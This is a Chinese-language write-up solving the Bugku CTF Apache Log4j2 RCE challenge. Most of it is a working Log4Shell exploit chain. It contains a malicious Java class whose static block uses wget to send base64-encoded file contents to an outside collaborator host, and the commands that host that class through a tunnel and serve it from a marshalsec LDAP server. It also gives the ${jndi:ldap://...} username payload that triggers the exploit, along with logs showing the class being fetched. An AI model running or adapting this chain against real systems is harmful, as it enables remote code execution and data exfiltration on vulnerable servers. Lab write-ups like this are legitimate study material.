本页目录
Bugku靶场Apache Log4j2 RCE
Loading component...
Loading component...
题目连接:https://ctf.bugku.com/challenges/detail/id/340.html
构建恶意类Exploit.java:
public class Exploit {
public Exploit() {
}
static {
try {
// String[] cmds = {"/bin/sh", "-c", "wget -qO- http://vjigzgm3930ko9hia69i0q21us0joec3.oastify.com/?result=$(ls | base64)"};
String[] cmds = {"/bin/sh", "-c", "wget -qO- http://vjigzgm3930ko9hia69i0q21us0joec3.oastify.com/?result=$(cat flag | base64)"};
java.lang.Runtime.getRuntime().exec(cmds).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}
javac Exploit.java会生成Exploit.class。
需要jdk8编译否则服务端可能无法加载。我的电脑上有多个Java版本,因此使用:
/usr/libexec/java_home -v 1.8 --exec javac Exploit.java当前目录下执行:
python -m http.server 8888内网穿透:
cloudflared tunnel --url http://localhost:8888+--------------------------------------------------------------------------------------------+
| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
| https://pope-supplemental-notices-greetings.trycloudflare.com |
+--------------------------------------------------------------------------------------------+
这一步是为了把Exploit.class托管出去,LDAP服务器会引用这个URL来加载恶意类。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "https://pope-supplemental-notices-greetings.trycloudflare.com/#Exploit"Listening on 0.0.0.0:1389内网穿透:
ngrok tcp 1389Forwarding tcp://0.tcp.ap.ngrok.io:10489 -> localhost:1389以用户名${jndi:ldap://0.tcp.ap.ngrok.io:10489/Exploit}登录触发RCE。
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "https://pope-supplemental-notices-greetings.trycloudflare.com/#Exploit"
Listening on 0.0.0.0:1389
Send LDAP reference result for Exploit redirecting to https://pope-supplemental-notices-greetings.trycloudflare.com/Exploit.class
$ python -m http.server 8888
Serving HTTP on :: port 8888 (http://[::]:8888/) ...
::1 - - [22/Nov/2025 22:57:23] "GET /Exploit.class HTTP/1.1" 200 -
